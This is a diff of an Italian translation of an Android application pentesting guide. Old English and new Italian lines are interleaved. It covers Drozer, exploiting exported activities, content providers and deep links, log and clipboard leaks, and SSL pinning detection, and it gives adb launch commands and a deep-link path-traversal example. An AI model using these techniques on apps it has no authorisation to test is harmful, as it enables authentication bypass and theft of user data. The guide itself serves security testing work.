Alcuni sviluppatori salvano dati sensibili nello storage locale e li cifrano con una chiave hardcoded/predictable nel codice. Questo non dovrebbe essere fatto, perché del reversing potrebbe permettere agli attaccanti di estrarre le informazioni riservate.
|
||||
|
||||
**Uso di algoritmi insicuri e/o deprecati**
|
||||
|
||||
Gli sviluppatori non dovrebbero usare **algoritmi deprecati** per effettuare controlli di **autorizzazione**, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se vengono usati **hash** per memorizzare password per esempio, dovrebbero essere usati hash resistenti al brute-force con salt.
|
||||
Gli sviluppatori non dovrebbero usare **algoritmi deprecati** per eseguire authorisation **checks**, **store** o **send** data. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se **hashes** sono usati per memorizzare le password per esempio, dovrebbero essere usati hash resistenti al brute-force con salt.
|
||||
|
||||
### Altri controlli
|
||||
|
||||
- È consigliato **offuscare l'APK** per rendere più difficile il lavoro di reverse engineering agli attacker.
|
||||
- Se l'app è sensibile (come le app bancarie), dovrebbe eseguire i suoi **propri controlli per verificare se il mobile è rooted** e agire di conseguenza.
|
||||
- È raccomandato di **obfuscate the APK** per rendere più difficile il lavoro di reverse engineering agli attaccanti.
|
||||
- Se l'app è sensibile (come le app bancarie), dovrebbe eseguire i propri controlli per verificare se il mobile è **rooted** e agire di conseguenza.
|
||||
- Se l'app è sensibile (come le app bancarie), dovrebbe verificare se viene usato un **emulator**.
|
||||
- Se l'app è sensibile (come le app bancarie), dovrebbe **verificare la propria integrità prima di eseguire** se è stata modificata.
|
||||
- Usa [**APKiD**](https://github.com/rednaga/APKiD) per controllare quale compiler/packer/obfuscator è stato usato per costruire l'APK
|
||||
- Se l'app è sensibile (come le app bancarie), dovrebbe **controllare la propria integrità prima di eseguirla** per verificare se è stata modificata.
|
||||
- Usa [**APKiD**](https://github.com/rednaga/APKiD) per verificare quale compiler/packer/obfuscator è stato usato per buildare l'APK
|
||||
|
||||
### React Native Application
|
||||
### Applicazione React Native
|
||||
|
||||
Read the following page to learn how to easily access javascript code of React applications:
|
||||
Leggi la pagina seguente per imparare come accedere facilmente al codice javascript delle applicazioni React:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
react-native-application.md
|
||||
{{#endref}}
|
||||
|
||||
### Xamarin Applications
|
||||
### Applicazioni Xamarin
|
||||
|
||||
Read the following page to learn how to easily access C# code of a xamarin applications:
|
||||
Leggi la pagina seguente per imparare come accedere facilmente al codice C# di applicazioni Xamarin:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../xamarin-apps.md
|
||||
{{#endref}}
|
||||
|
||||
### Superpacked Applications
|
||||
### Applicazioni Superpacked
|
||||
|
||||
According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.**
|
||||
Secondo questo [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked è un algoritmo Meta che comprime il contenuto di un'applicazione in un unico file. Il blog parla della possibilità di creare un'app che decomprima questo tipo di app... e di un metodo più veloce che consiste nell'**eseguire l'applicazione e raccogliere i file decompressi dal filesystem.**
|
||||
|
||||
### Automated Static Code Analysis
|
||||
### Analisi statica automatizzata del codice
|
||||
|
||||
The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability.
|
||||
Lo strumento [**mariana-trench**](https://github.com/facebook/mariana-trench) è in grado di trovare **vulnerabilities** scansionando il **code** dell'applicazione. Questo tool contiene una serie di **known sources** (che indicano allo strumento i **places** dove l'**input** è **controlled by the user**), **sinks** (che indicano allo strumento **dangerous** **places** dove un input malevolo potrebbe causare danni) e **rules**. Queste regole indicano la **combinazione** di **sources-sinks** che segnala una vulnerabilità.
|
||||
|
||||
With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**.
|
||||
Con queste informazioni, **mariana-trench analizzerà il codice e troverà possibili vulnerabilities su di esso**.
|
||||
|
||||
### Secrets leaked
|
||||
|
||||
An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||
Un'applicazione può contenere segreti (API keys, passwords, hidden urls, subdomains...) al suo interno che potresti riuscire a scoprire. Puoi usare uno strumento come [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||
|
||||
### Bypass Biometric Authentication
|
||||
|
||||
@ -216,14 +216,14 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains
|
||||
bypass-biometric-authentication-android.md
|
||||
{{#endref}}
|
||||
|
||||
### Other interesting functions
|
||||
### Altre funzioni interessanti
|
||||
|
||||
- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()`
|
||||
- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
|
||||
- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load`
|
||||
- **Esecuzione di codice**: `Runtime.exec(), ProcessBuilder(), native code:system()`
|
||||
- **Invio di SMS**: `sendTextMessage, sendMultipartTestMessage`
|
||||
- **Funzioni native** dichiarate come `native`: `public native, System.loadLibrary, System.load`
|
||||
- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md)
|
||||
|
||||
### **Other tricks**
|
||||
### **Altri trucchi**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -236,189 +236,189 @@ content-protocol.md
|
||||
|
||||
## Analisi Dinamica
|
||||
|
||||
> Prima di tutto, hai bisogno di un ambiente dove puoi installare l'applicazione e tutto l'ambiente (Burp CA cert, Drozer and Frida principalmente). Pertanto, un dispositivo rooted (emulato o no) è fortemente raccomandato.
|
||||
> Prima di tutto, hai bisogno di un ambiente dove puoi installare l'applicazione e tutto l'ambiente (Burp CA cert, Drozer e Frida principalmente). Pertanto, è fortemente raccomandato un dispositivo rooted (emulato o meno).
|
||||
|
||||
### Online Dynamic analysis
|
||||
### Analisi dinamica online
|
||||
|
||||
You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving.
|
||||
Puoi creare un **account gratuito** su: [https://appetize.io/](https://appetize.io/). Questa piattaforma ti permette di **upload** e **execute** APKs, quindi è utile per vedere come si comporta un apk.
|
||||
|
||||
You can even **see the logs of your application** in the web and connect through **adb**.
|
||||
Puoi anche **vedere i log della tua applicazione** sul web e connetterti tramite **adb**.
|
||||
|
||||
.png>)
|
||||
|
||||
Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators.
|
||||
Grazie alla connessione ADB puoi usare **Drozer** e **Frida** all'interno degli emulatori.
|
||||
|
||||
### Local Dynamic Analysis
|
||||
### Analisi dinamica locale
|
||||
|
||||
#### Using an emulator
|
||||
#### Usare un emulatore
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator).
|
||||
- Learn to set it up in this page:
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Puoi creare **x86** e **arm** devices, e secondo [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** senza bisogno di un emulatore arm lento).
|
||||
- Impara a configurarlo in questa pagina:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
avd-android-virtual-device.md
|
||||
{{#endref}}
|
||||
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._)
|
||||
- [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer).
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versione gratuita:** Personal Edition, devi creare un account. _Si raccomanda di **download** la versione **WITH** _**VirtualBox** per evitare errori potenziali._)
|
||||
- [**Nox**](https://es.bignox.com) (Gratuito, ma non supporta Frida o Drozer).
|
||||
|
||||
> [!TIP]
|
||||
> Quando crei un nuovo emulator su qualsiasi piattaforma ricorda che più grande è lo schermo, più lento sarà l'emulator. Quindi seleziona schermi piccoli se possibile.
|
||||
> Quando crei un nuovo emulatore su qualsiasi piattaforma ricorda che più grande è lo schermo, più lento sarà l'emulatore. Quindi seleziona schermi piccoli se possibile.
|
||||
|
||||
To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image:
|
||||
Per **install google services** (come AppStore) in Genymotion devi cliccare sul pulsante evidenziato in rosso nell'immagine seguente:
|
||||
|
||||
.png>)
|
||||
|
||||
Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools).
|
||||
Inoltre, nota che nella **configurazione della Android VM in Genymotion** puoi selezionare la **Bridge Network mode** (questo sarà utile se ti connetterai alla Android VM da una VM diversa con gli strumenti).
|
||||
|
||||
#### Use a physical device
|
||||
#### Usare un dispositivo fisico
|
||||
|
||||
You need to activate the **debugging** options and it will be cool if you can **root** it:
|
||||
Devi attivare le opzioni di **debugging** e sarebbe utile se riuscissi a **rootarlo**:
|
||||
|
||||
1. **Impostazioni**.
|
||||
1. **Settings**.
|
||||
2. (Da Android 8.0) Seleziona **System**.
|
||||
3. Seleziona **Informazioni sul telefono**.
|
||||
4. Premi **Numero build** 7 volte.
|
||||
5. Torna indietro e troverai le **Opzioni sviluppatore**.
|
||||
3. Seleziona **About phone**.
|
||||
4. Premi **Build number** 7 volte.
|
||||
5. Torna indietro e troverai le **Developer options**.
|
||||
|
||||
> Una volta che hai installato l'applicazione, la prima cosa che dovresti fare è provarla e investigare cosa fa, come funziona e familiarizzare con essa.\
|
||||
> Ti suggerisco di **eseguire questa analisi dinamica iniziale usando MobSF dynamic analysis + pidcat**, così saremo in grado di **imparare come funziona l'applicazione** mentre MobSF **cattura** molti **dati** **interessanti** che potrai rivedere in seguito.
|
||||
> Una volta installata l'applicazione, la prima cosa da fare è provarla e indagare cosa fa, come funziona e familiarizzare con essa.\
|
||||
> Suggerisco di **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, così potremo **imparare come funziona l'applicazione** mentre MobSF **cattura** molti **dati** **interessanti** che potrai rivedere in seguito.
|
||||
|
||||
### Unintended Data Leakage
|
||||
|
||||
**Logging**
|
||||
|
||||
Gli sviluppatori dovrebbero essere cauti nell'esporre **informazioni di debugging** pubblicamente, poiché possono portare a leak di dati sensibili. Gli strumenti [**pidcat**](https://github.com/JakeWharton/pidcat) and `adb logcat` sono raccomandati per monitorare i log dell'applicazione per identificare e proteggere informazioni sensibili. **Pidcat** è preferito per la sua facilità d'uso e leggibilità.
|
||||
Gli sviluppatori dovrebbero fare attenzione a esporre informazioni di **debugging** pubblicamente, poiché possono portare a leak di dati sensibili. Gli strumenti [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` sono raccomandati per monitorare i log dell'applicazione per identificare e proteggere informazioni sensibili. **Pidcat** è preferito per la sua facilità d'uso e leggibilità.
|
||||
|
||||
> [!WARNING]
|
||||
> Nota che dalle **versioni successive ad Android 4.0**, **le applicazioni sono in grado di accedere solo ai propri log**. Quindi le applicazioni non possono accedere ai log di altre app.\
|
||||
> Comunque, è sempre consigliato di **non loggare informazioni sensibili**.
|
||||
> Nota che da **versioni successive ad Android 4.0**, **le applicazioni possono accedere solo ai propri log**. Quindi le applicazioni non possono accedere ai log di altre app.\
|
||||
> Comunque, è sempre raccomandato di **non loggare informazioni sensibili**.
|
||||
|
||||
**Copy/Paste Buffer Caching**
|
||||
|
||||
Il framework **clipboard-based** di Android abilita la funzionalità copia-incolla nelle app, ma rappresenta un rischio poiché **altre applicazioni** possono **accedere** alla clipboard, potenzialmente esponendo dati sensibili. È fondamentale **disabilitare copia/incolla** nelle sezioni sensibili di un'applicazione, come i dettagli della carta di credito, per prevenire leak di dati.
|
||||
Il framework **clipboard-based** di Android abilita la funzionalità copia-incolla nelle app, ma rappresenta un rischio poiché **altre applicazioni** possono **accedere** agli appunti, potenzialmente esponendo dati sensibili. È fondamentale **disabilitare le funzioni di copia/incolla** per sezioni sensibili dell'applicazione, come i dettagli della carta di credito, per prevenire leak di dati.
|
||||
|
||||
**Crash Logs**
|
||||
|
||||
Se un'applicazione **crasha** e **salva log**, questi log possono aiutare gli attacker, particolarmente quando l'applicazione non può essere reverse-engineerata. Per mitigare questo rischio, evita di loggare in caso di crash, e se i log devono essere trasmessi sulla rete, assicurati che siano inviati tramite un canale SSL per sicurezza.
|
||||
Se un'applicazione **crasha** e **salva log**, questi log possono aiutare gli attaccanti, in particolare quando l'applicazione non può essere reverse-engineered. Per mitigare questo rischio, evita di loggare nei crash, e se i log devono essere trasmessi in rete, assicurati che siano inviati tramite un canale SSL per sicurezza.
|
||||
|
||||
Come pentester, **prova a dare un'occhiata a questi logs**.
|
||||
Come pentester, **cerca di dare un'occhiata a questi log**.
|
||||
|
||||
**Analytics Data Sent To 3rd Parties**
|
||||
|
||||
Le applicazioni spesso integrano servizi come Google Adsense, che possono involontariamente **leak sensitive data** a causa di implementazioni improprie da parte degli sviluppatori. Per identificare potenziali data leaks, è consigliabile **intercettare il traffico dell'applicazione** e verificare se informazioni sensibili vengono inviate a servizi di terze parti.
|
||||
Le applicazioni spesso integrano servizi come Google Adsense, che possono involontariamente causare leak di dati sensibili a causa di una cattiva implementazione da parte degli sviluppatori. Per identificare potenziali leak di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare se informazioni sensibili vengono inviate a servizi di terze parti.
|
||||
|
||||
### SQLite DBs
|
||||
|
||||
La maggior parte delle applicazioni userà **database SQLite interni** per salvare informazioni. Durante il pentest dai un'occhiata ai **database** creati, ai nomi delle **tabelle** e delle **colonne** e a tutti i **dati** salvati perché potresti trovare **informazioni sensibili** (che sarebbero una vulnerabilità).\
|
||||
I database dovrebbero trovarsi in `/data/data/the.package.name/databases` come `/data/data/com.mwr.example.sieve/databases`
|
||||
La maggior parte delle applicazioni userà **database SQLite interni** per salvare informazioni. Durante il pentest dai un'occhiata ai **databases** creati, ai nomi delle **tabelle** e **colonne** e a tutti i **dati** salvati perché potresti trovare **informazioni sensibili** (che costituirebbero una vulnerabilità).\
|
||||
I database dovrebbero essere localizzati in `/data/data/the.package.name/databases` come `/data/data/com.mwr.example.sieve/databases`
|
||||
|
||||
Se il database salva informazioni confidenziali ed è **encrypted** ma puoi **trovare** la **password** all'interno dell'applicazione è comunque una **vulnerabilità**.
|
||||
Se il database salva informazioni confidenziali ed è **crittografato** ma puoi **trovare** la **password** all'interno dell'applicazione, è comunque una **vulnerabilità**.
|
||||
|
||||
Enumera le tabelle usando `.tables` ed enumera le colonne delle tabelle con `.schema <table_name>`
|
||||
Enumera le tabelle usando `.tables` e enumera le colonne delle tabelle eseguendo `.schema <table_name>`
|
||||
|
||||
### Drozer (Exploit Activities, Content Providers and Services)
|
||||
|
||||
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** permette di **assumere il ruolo di un'app Android** e interagire con altre app. Può fare **qualsiasi cosa che un'app installata può fare**, come utilizzare il meccanismo di Inter-Process Communication (IPC) di Android e interagire con il sistema operativo sottostante. .\
|
||||
Drozer è uno strumento utile per **sfruttare exported activities, exported services e Content Providers** come imparerai nelle sezioni seguenti.
|
||||
Dalla [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** ti permette di **assumere il ruolo di un'app Android** e interagire con altre app. Può fare **qualsiasi cosa che un'applicazione installata può fare**, come fare uso del meccanismo di Inter-Process Communication (IPC) di Android e interagire con il sistema operativo sottostante.\
|
||||
Drozer è uno strumento utile per **exploit exported activities, exported services and Content Providers** come imparerai nelle sezioni seguenti.
|
||||
|
||||
### Exploiting exported Activities
|
||||
### Sfruttare le exported Activities
|
||||
|
||||
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Ricorda anche che il codice di un activity inizia nel metodo **`onCreate`**.
|
||||
Ricorda inoltre che il codice di un'activity inizia nel metodo **`onCreate`**.
|
||||
|
||||
**Authorisation bypass**
|
||||
|
||||
Quando un Activity è exported puoi invocare la sua schermata da un'app esterna. Pertanto, se un activity con **informazioni sensibili** è **exported** potresti **bypassare** i meccanismi di **autenticazione** **per accedervi.**
|
||||
Quando un'Activity è exported puoi invocarne la schermata da un'app esterna. Pertanto, se un'activity con **informazioni sensibili** è **exported** potresti **bypassare** i meccanismi di **autenticazione** per **accedervi.**
|
||||
|
||||
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
Puoi anche avviare un activity esportato da adb:
|
||||
Puoi anche avviare un'activity exported tramite adb:
|
||||
|
||||
- PackageName is com.example.demo
|
||||
- Exported ActivityName is com.example.test.MainActivity
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**NOTA**: MobSF rileverà come malevolo l'uso di _**singleTask/singleInstance**_ come `android:launchMode` in un'attività, ma a causa di [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparentemente questo è pericoloso solo su versioni più vecchie (API versions < 21).
|
||||
**NOTA**: MobSF rileverà come malevolo l'uso di _**singleTask/singleInstance**_ come `android:launchMode` in un'activity, ma a causa di [questo](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparentemente questo è pericoloso solo su versioni vecchie (API versions < 21).
|
||||
|
||||
> [!TIP]
|
||||
> Nota che un authorisation bypass non è sempre una vulnerabilità: dipende da come funziona il bypass e quali informazioni vengono esposte.
|
||||
> Nota che un bypass di autorizzazione non è sempre una vulnerabilità; dipende da come funziona il bypass e quali informazioni vengono esposte.
|
||||
|
||||
**Perdita di informazioni sensibili**
|
||||
|
||||
**Le Activities possono anche restituire risultati**. Se riesci a trovare un'attività esportata e non protetta che chiama il metodo **`setResult`** e **restituisce informazioni sensibili**, c'è una perdita di informazioni sensibili.
|
||||
**Le Activity possono anche restituire risultati**. Se riesci a trovare un'activity esportata e non protetta che chiama il metodo **`setResult`** e **restituisce informazioni sensibili**, c'è una perdita di informazioni sensibili.
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
Se il Tapjacking non è prevenuto, potresti abusare dell'attività esportata per far sì che **l'utente esegua azioni inaspettate**. Per maggiori informazioni su [**per saperne di più su Tapjacking segui il link**](#tapjacking).
|
||||
Se il Tapjacking non è prevenuto, potresti abusare dell'activity esportata per far eseguire all'utente **azioni inaspettate**. Per maggiori informazioni su [**cos'è Tapjacking segui il link**](#tapjacking).
|
||||
|
||||
### Exploiting Content Providers - Accessing and manipulating sensitive information
|
||||
|
||||
[**Leggi questo se vuoi rinfrescare cos'è un Content Provider.**](android-applications-basics.md#content-provider)\
|
||||
I content providers sono fondamentalmente usati per **condividere dati**. Se un'app ha content providers disponibili potresti essere in grado di **estrarre dati sensibili** da essi. È anche interessante testare possibili **SQL injections** e **Path Traversals** in quanto potrebbero essere vulnerabili.
|
||||
I Content Provider sono fondamentalmente usati per **condividere dati**. Se un'app ha content provider disponibili potresti essere in grado di **estrarre dati sensibili** da essi. È anche interessante testare possibili **SQL injections** e **Path Traversals** poiché potrebbero essere vulnerabili.
|
||||
|
||||
[**Scopri come sfruttare Content Providers con Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||
[**Scopri come sfruttare i Content Providers con Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
### **Exploiting Services**
|
||||
|
||||
[**Leggi questo se vuoi rinfrescare cos'è un Service.**](android-applications-basics.md#services)\
|
||||
Ricorda che le azioni di un Service iniziano nel metodo `onStartCommand`.
|
||||
|
||||
Un service è fondamentalmente qualcosa che **può ricevere dati**, **elaborarli** e **restituire** (o meno) una risposta. Quindi, se un'applicazione esporta dei services dovresti **controllare** il **codice** per capire cosa sta facendo e **testarlo** **dinamicamente** per estrarre info confidenziali, bypassare misure di autenticazione...\
|
||||
[**Scopri come sfruttare Services con Drozer.**](drozer-tutorial/index.html#services)
|
||||
Un Service è fondamentalmente qualcosa che **può ricevere dati**, **elaborarli** e **restituire** (o meno) una risposta. Quindi, se un'applicazione espone dei service dovresti **controllare** il **codice** per capire cosa sta facendo e **testarlo** **dinamicamente** per estrarre informazioni riservate, bypassare misure di autenticazione...\
|
||||
[**Scopri come sfruttare i Service con Drozer.**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **Exploiting Broadcast Receivers**
|
||||
|
||||
[**Leggi questo se vuoi rinfrescare cos'è un Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Ricorda che le azioni di un Broadcast Receiver iniziano nel metodo `onReceive`.
|
||||
|
||||
Un broadcast receiver attenderà un tipo di messaggio. A seconda di come il receiver gestisce il messaggio, potrebbe essere vulnerabile.\
|
||||
[**Scopri come sfruttare i Broadcast Receivers con Drozer.**](#exploiting-broadcast-receivers)
|
||||
Un Broadcast Receiver attenderà un tipo di messaggio. A seconda di come il receiver gestisce il messaggio, potrebbe essere vulnerabile.\
|
||||
[**Scopri come sfruttare i Broadcast Receiver con Drozer.**](#exploiting-broadcast-receivers)
|
||||
|
||||
### **Exploiting Schemes / Deep links**
|
||||
|
||||
Puoi cercare deep links manualmente, usando tool come MobSF o script come [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Puoi cercare deep links manualmente, usando strumenti come MobSF o script come [questo](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Puoi **aprire** uno **scheme** dichiarato usando **adb** o un **browser**:
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
_Nota che puoi **omettere il nome del pacchetto** e il dispositivo mobile chiamerà automaticamente l'app che dovrebbe aprire quel link._
|
||||
_Nota che puoi **omettere il nome del package** e il dispositivo mobile chiamerà automaticamente l'app che dovrebbe aprire quel link._
|
||||
```html
|
||||
<!-- Browser regular link -->
|
||||
<a href="scheme://hostname/path?param=value">Click me</a>
|
||||
<!-- fallback in your url you could try the intent url -->
|
||||
<a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
|
||||
```
|
||||
**Code executed**
|
||||
**Codice eseguito**
|
||||
|
||||
Per trovare il **codice che verrà eseguito nell'App**, vai all'activity chiamata dal deeplink e cerca la funzione **`onNewIntent`**.
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
**Sensitive info**
|
||||
**Informazioni sensibili**
|
||||
|
||||
Ogni volta che trovi un deep link verifica che **non riceva dati sensibili (come password) tramite parametri URL**, perché qualsiasi altra applicazione potrebbe **impersonare il deep link e rubare quei dati!**
|
||||
Ogni volta che trovi un deep link verifica che **non stia ricevendo dati sensibili (come passwords) tramite parametri URL**, perché qualsiasi altra applicazione potrebbe **impersonate the deep link and steal that data!**
|
||||
|
||||
**Parameters in path**
|
||||
|
||||
Devi verificare anche se un deep link utilizza un parametro all'interno del path dell'URL come: `https://api.example.com/v1/users/{username}` , in tal caso puoi forzare un path traversal accedendo a qualcosa come: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
|
||||
Nota che se trovi gli endpoint corretti all'interno dell'applicazione potresti essere in grado di causare una **Open Redirect** (se parte del path è usata come nome di dominio), **account takeover** (se puoi modificare i dettagli degli utenti senza CSRF token e il vuln endpoint utilizzava il metodo corretto) e qualsiasi altra vuln. Maggiori [info about this here](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Devi anche verificare se un deep link sta usando un parametro all'interno del path dell'URL come: `https://api.example.com/v1/users/{username}` , in tal caso puoi forzare un path traversal accedendo a qualcosa come: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
|
||||
Nota che se trovi gli endpoint corretti all'interno dell'applicazione potresti essere in grado di causare un **Open Redirect** (se parte del path è usata come domain name), **account takeover** (se puoi modificare i dettagli degli utenti senza token CSRF e l'endpoint vuln usa il metodo corretto) e qualsiasi altra vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**More examples**
|
||||
|
||||
Un interessante report di bug bounty su link (_/.well-known/assetlinks.json_).
|
||||
Un [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_).
|
||||
|
||||
### Transport Layer Inspection and Verification Failures
|
||||
|
||||
- **I certificati non vengono sempre ispezionati correttamente** dalle applicazioni Android. È comune che queste applicazioni ignorino avvisi e accettino certificati self-signed o, in alcuni casi, tornino a usare connessioni HTTP.
|
||||
- **Le negoziazioni durante lo SSL/TLS handshake sono talvolta deboli**, impiegando cipher suite insicuri. Questa vulnerabilità rende la connessione suscettibile ad attacchi MITM, permettendo agli attaccanti di decrittare i dati.
|
||||
- **Leakage of private information** è un rischio quando le applicazioni si autenticano usando canali sicuri ma poi comunicano su canali non sicuri per altre transazioni. Questo approccio non protegge dati sensibili, come cookie di sessione o dettagli utente, dall'intercettazione da parte di entità malevole.
|
||||
- **Certificates are not always inspected properly** by Android applications. È comune che queste applicazioni ignorino gli avvisi e accettino certificati self-signed o, in alcuni casi, tornino a utilizzare connessioni HTTP.
|
||||
- **Negotiations during the SSL/TLS handshake are sometimes weak**, impiegando cipher suites non sicure. Questa vulnerabilità rende la connessione suscettibile ad attacchi man-in-the-middle (MITM), permettendo agli attaccanti di decrittare i dati.
|
||||
- **Leakage of private information** è un rischio quando le applicazioni si autenticano usando canali sicuri ma poi comunicano su canali non sicuri per altre transazioni. Questo approccio non protegge i dati sensibili, come session cookies o dettagli utente, dall'intercettazione da parte di entità malintenzionate.
|
||||
|
||||
#### Certificate Verification
|
||||
|
||||
Ci concentreremo sulla **verifica dei certificati**. L'integrità del certificato del server deve essere verificata per aumentare la sicurezza. Questo è cruciale perché configurazioni TLS insicure e la trasmissione di dati sensibili su canali non cifrati possono rappresentare rischi significativi. Per passaggi dettagliati su come verificare i certificati del server e risolvere le vulnerabilità, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) fornisce una guida completa.
|
||||
Ci concentreremo sulla **certificate verification**. L'integrità del certificato del server deve essere verificata per aumentare la sicurezza. Questo è cruciale perché configurazioni TLS insicure e la trasmissione di dati sensibili su canali non cifrati possono rappresentare rischi significativi. Per passaggi dettagliati su come verificare i certificati server e risolvere le vulnerabilità, [**questa risorsa**](https://manifestsecurity.com/android-application-security-part-10/) fornisce una guida completa.
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
@ -426,23 +426,23 @@ SSL Pinning è una misura di sicurezza in cui l'applicazione verifica il certifi
|
||||
|
||||
#### Traffic Inspection
|
||||
|
||||
Per ispezionare il traffico HTTP, è necessario **installare il certificato dello strumento proxy** (es. Burp). Senza installare questo certificato, il traffico cifrato potrebbe non essere visibile tramite il proxy. Per una guida sull'installazione di una CA personalizzata, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
Per ispezionare il traffico HTTP, è necessario **installare il certificato dello strumento proxy** (es. Burp). Senza installare questo certificato, il traffico cifrato potrebbe non essere visibile tramite il proxy. Per una guida su come installare un certificato CA personalizzato, [**clicca qui**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Le applicazioni con target **API Level 24 e superiori** richiedono modifiche al Network Security Config per accettare il certificato CA del proxy. Questo passaggio è critico per ispezionare il traffico cifrato. Per istruzioni su come modificare il Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md).
|
||||
Le applicazioni che targettizzano **API Level 24 and above** richiedono modifiche al Network Security Config per accettare il certificato CA del proxy. Questo passaggio è critico per ispezionare il traffico cifrato. Per istruzioni su come modificare il Network Security Config, [**consulta questo tutorial**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
Se viene usato **Flutter** devi seguire le istruzioni in [**this page**](flutter.md). Questo perché, semplicemente aggiungendo il certificato nello store non funzionerà, dato che Flutter ha la propria lista di CA valide.
|
||||
Se viene usato **Flutter** devi seguire le istruzioni in [**questa pagina**](flutter.md). Questo perché aggiungere semplicemente il certificato nello store non funzionerà poiché Flutter ha la propria lista di CA valide.
|
||||
|
||||
#### Static detection of SSL/TLS pinning
|
||||
|
||||
Prima di tentare bypass a runtime, mappa rapidamente dove il pinning è applicato nell'APK. La scoperta statica ti aiuta a pianificare hook/patch e a concentrarti sui percorsi di codice giusti.
|
||||
Prima di tentare bypass runtime, mappa rapidamente dove il pinning è applicato nell'APK. La scoperta statica ti aiuta a pianificare hook/patch e a concentrarti sui corretti code paths.
|
||||
|
||||
Tool: SSLPinDetect
|
||||
- Open-source static-analysis utility che decompila l'APK in Smali (via apktool) e scansiona pattern regex curati delle implementazioni di SSL/TLS pinning.
|
||||
- Riporta il percorso file esatto, il numero di riga e uno snippet di codice per ogni match.
|
||||
- Copre framework comuni e percorsi di codice custom: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init con custom TrustManagers/KeyManagers, e Network Security Config XML pins.
|
||||
